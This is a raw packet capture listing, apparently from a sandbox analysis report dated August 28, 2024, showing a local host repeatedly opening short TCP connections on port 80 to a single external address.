                                                                      Aug 28, 2024 11:18:24.649233103 CEST8060179185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:24.649244070 CEST8060179185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:24.948430061 CEST8060179185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:25.003331900 CEST6017980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:25.078155994 CEST8060179185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:25.128338099 CEST6017980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:25.204171896 CEST6017980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:25.204449892 CEST6018080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:25.209286928 CEST8060180185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:25.209300041 CEST8060179185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:25.209394932 CEST6017980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:25.209414959 CEST6018080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:25.209482908 CEST6018080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:25.214375019 CEST8060180185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:25.565965891 CEST6018080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:25.571890116 CEST8060180185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:25.571906090 CEST8060180185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:25.571914911 CEST8060180185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:25.857410908 CEST8060180185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:25.909655094 CEST6018080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:25.988428116 CEST8060180185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.034559965 CEST6018080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.107435942 CEST6018080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.107654095 CEST6018180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.112845898 CEST8060180185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.112909079 CEST6018080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.113521099 CEST8060181185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.113591909 CEST6018180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.113666058 CEST6018180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.118534088 CEST8060181185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.144629955 CEST6018180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.144831896 CEST6018280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.149630070 CEST8060182185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.149713039 CEST6018280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.149777889 CEST6018280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.156219959 CEST8060182185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.189831972 CEST8060181185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.264971018 CEST6018380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.270030975 CEST8060183185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.270117998 CEST6018380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.270201921 CEST6018380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.275135040 CEST8060183185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.503432035 CEST6018280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.508337975 CEST8060182185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.508431911 CEST8060182185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.614685059 CEST8060181185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.614763021 CEST6018180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.628571033 CEST6018380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.633569002 CEST8060183185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.633579969 CEST8060183185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.633590937 CEST8060183185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.808667898 CEST8060182185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.862675905 CEST6018280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.936707973 CEST8060182185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.943495035 CEST8060183185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:26.987670898 CEST6018280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:26.987790108 CEST6018380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:27.076499939 CEST8060183185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:27.128290892 CEST6018380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:27.200859070 CEST6018280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:27.201224089 CEST6018480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:27.201224089 CEST6018380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:27.205393076 CEST8060176185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:27.205460072 CEST6017680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:27.206083059 CEST8060182185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:27.206094980 CEST8060184185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:27.206135988 CEST6018280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:27.206176043 CEST6018480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:27.206228018 CEST8060183185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:27.206275940 CEST6018380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:27.206300020 CEST6018480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:27.212043047 CEST8060184185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:27.550483942 CEST6018480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:27.555387974 CEST8060184185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:27.555532932 CEST8060184185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:27.555542946 CEST8060184185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:27.845487118 CEST8060184185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:27.893943071 CEST6018480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:28.113451004 CEST8060184185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:28.113464117 CEST8060184185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:28.113564014 CEST6018480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:28.235171080 CEST6018580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:28.240250111 CEST8060185185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:28.241630077 CEST6018580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:28.241769075 CEST6018580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:28.247364044 CEST8060185185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:28.597361088 CEST6018580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:28.602627993 CEST8060185185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:28.602761030 CEST8060185185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:28.602770090 CEST8060185185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:28.918766022 CEST8060185185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:28.972073078 CEST6018580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:29.048542023 CEST8060185185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:29.097075939 CEST6018580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:29.170850039 CEST6018580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:29.170977116 CEST6018680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:29.175745964 CEST8060186185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:29.175841093 CEST6018680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:29.176018953 CEST8060185185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:29.176078081 CEST6018580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:29.176078081 CEST6018680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:29.180851936 CEST8060186185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:29.534729004 CEST6018680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:29.539735079 CEST8060186185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:29.539750099 CEST8060186185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:29.539760113 CEST8060186185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:29.868899107 CEST8060186185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:29.909584045 CEST6018680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:30.017644882 CEST8060186185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:30.065805912 CEST6018680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:30.138917923 CEST6018680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:30.139220953 CEST6018780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:30.144021988 CEST8060187185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:30.144110918 CEST8060186185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:30.144221067 CEST6018780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:30.144222021 CEST6018680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:30.146979094 CEST6018780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:30.151782990 CEST8060187185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:30.503473997 CEST6018780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:30.509450912 CEST8060187185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:30.509465933 CEST8060187185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:30.509474993 CEST8060187185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:30.813158989 CEST8060187185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:30.866983891 CEST6018780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:30.940809965 CEST8060187185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:30.987813950 CEST6018780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.127213001 CEST6018780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.127628088 CEST6018880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.133004904 CEST8060187185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:31.133019924 CEST8060188185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:31.133074999 CEST6018780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.133109093 CEST6018880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.133234024 CEST6018880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.138762951 CEST8060188185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:31.487853050 CEST6018880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.493033886 CEST8060188185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:31.493047953 CEST8060188185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:31.493056059 CEST8060188185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:31.836446047 CEST8060188185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:31.878350973 CEST6018880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.941633940 CEST6018980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.941912889 CEST6018880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.946707010 CEST8060189185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:31.946799994 CEST6018980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.946882010 CEST6018980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.947313070 CEST8060188185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:31.947367907 CEST6018880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:31.952049017 CEST8060189185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:32.060111046 CEST6018480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:32.062966108 CEST6019080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:32.070853949 CEST8060190185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:32.070941925 CEST6019080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:32.071152925 CEST6019080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:32.075906038 CEST8060190185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:32.300422907 CEST6018980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:32.305331945 CEST8060189185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:32.305422068 CEST8060189185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:32.425432920 CEST6019080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:32.430380106 CEST8060190185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:32.430391073 CEST8060190185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:32.430399895 CEST8060190185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:32.596257925 CEST8060189185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:32.644100904 CEST6018980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:32.726872921 CEST8060190185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:32.728393078 CEST8060189185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:32.769067049 CEST6019080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:32.769067049 CEST6018980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:32.862483978 CEST8060190185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:32.909600973 CEST6019080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:32.998090982 CEST6018980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:32.998112917 CEST6019080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:32.998389959 CEST6019180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:33.003248930 CEST8060189185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:33.003355026 CEST6018980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:33.003688097 CEST8060191185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:33.003753901 CEST6019180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:33.003781080 CEST8060190185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:33.003829002 CEST6019080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:33.003870010 CEST6019180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:33.008613110 CEST8060191185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:33.362854958 CEST6019180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:33.367852926 CEST8060191185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:33.367867947 CEST8060191185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:33.367877960 CEST8060191185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:33.667917013 CEST8060191185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:33.722279072 CEST6019180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:33.803612947 CEST8060191185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:33.847188950 CEST6019180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:33.924336910 CEST6019280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:33.929354906 CEST8060192185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:33.929418087 CEST6019280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:33.929533958 CEST6019280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:33.934405088 CEST8060192185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:34.284923077 CEST6019280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:34.289964914 CEST8060192185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:34.289977074 CEST8060192185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:34.289988041 CEST8060192185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:34.551017046 CEST8060192185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:34.597080946 CEST6019280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:34.684633017 CEST8060192185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:34.738003016 CEST6019280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:34.811289072 CEST6019280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:34.811558962 CEST6019380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:34.816349983 CEST8060193185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:34.816415071 CEST8060192185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:34.816456079 CEST6019380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:34.816478968 CEST6019280192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:34.816545963 CEST6019380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:34.821311951 CEST8060193185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:35.175587893 CEST6019380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:35.181296110 CEST8060193185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:35.181309938 CEST8060193185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:35.181319952 CEST8060193185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:35.515465021 CEST8060193185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:35.565984011 CEST6019380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:35.649359941 CEST8060193185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:35.690844059 CEST6019380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:35.761893988 CEST6019180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:35.764286041 CEST6019380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:35.764528990 CEST6019480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:35.769340038 CEST8060194185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:35.769418001 CEST8060193185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:35.769423962 CEST6019480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:35.769469023 CEST6019380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:35.769516945 CEST6019480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:35.774380922 CEST8060194185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:36.128606081 CEST6019480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:36.133558035 CEST8060194185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:36.133572102 CEST8060194185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:36.133579969 CEST8060194185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:36.476593018 CEST8060194185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:36.519016027 CEST6019480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:36.604764938 CEST8060194185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:36.659745932 CEST6019480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:36.717709064 CEST6019480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:36.717993975 CEST6019580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:36.724997997 CEST8060195185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:36.725045919 CEST8060194185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:36.725080013 CEST6019580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:36.725104094 CEST6019480192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:36.725205898 CEST6019580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:36.730623007 CEST8060195185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.081623077 CEST6019580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.086565018 CEST8060195185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.086579084 CEST8060195185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.086586952 CEST8060195185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.410181999 CEST8060195185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.456509113 CEST6019580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.542004108 CEST8060195185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.597109079 CEST6019580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.653964996 CEST6019580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.653964996 CEST6019680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.660351992 CEST8060196185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.660448074 CEST6019680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.660911083 CEST6019680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.661149979 CEST8060195185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.661211014 CEST6019580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.666429043 CEST8060196185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.738378048 CEST6019680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.738581896 CEST6019780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.743999958 CEST8060197185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.744091034 CEST6019780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.744136095 CEST6019780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.749067068 CEST8060197185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.790009975 CEST8060196185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.857832909 CEST6019880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.865463972 CEST8060198185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:37.865549088 CEST6019880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.865628004 CEST6019880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:37.870479107 CEST8060198185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.097290993 CEST6019780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.102226019 CEST8060197185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.102278948 CEST8060197185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.133239031 CEST8060196185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.133296967 CEST6019680192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.222163916 CEST6019880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.227242947 CEST8060198185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.227258921 CEST8060198185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.227267027 CEST8060198185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.472733021 CEST8060197185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.491688967 CEST8060198185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.519004107 CEST6019780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.534753084 CEST6019880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.606426001 CEST8060197185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.620599031 CEST8060198185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.659626961 CEST6019780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.675261974 CEST6019880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.736099005 CEST6019780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.736313105 CEST6019880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.736660957 CEST6019980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.745145082 CEST8060199185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.745229006 CEST6019980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.745342970 CEST6019980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.745573997 CEST8060197185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.745626926 CEST6019780192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.745681047 CEST8060198185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:38.745727062 CEST6019880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:38.751435995 CEST8060199185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:39.097258091 CEST6019980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:39.102227926 CEST8060199185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:39.102242947 CEST8060199185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:39.102252007 CEST8060199185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:39.461030006 CEST8060199185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:39.503407955 CEST6019980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:39.620690107 CEST8060199185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:39.622734070 CEST6019980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:39.627860069 CEST8060199185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:39.627924919 CEST6019980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:39.756674051 CEST6020080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:39.770632029 CEST8060200185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:39.773112059 CEST6020080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:39.773228884 CEST6020080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:39.779880047 CEST8060200185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:40.128475904 CEST6020080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:40.134351015 CEST8060200185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:40.134361982 CEST8060200185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:40.134372950 CEST8060200185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:40.431114912 CEST8060200185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:40.487751007 CEST6020080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:40.566282034 CEST8060200185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:40.612762928 CEST6020080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:40.691073895 CEST6020080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:40.691476107 CEST6020180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:40.696142912 CEST8060200185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:18:40.696222067 CEST6020080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:18:40.696245909 CEST8060201185.106.93.197192.168.2.7
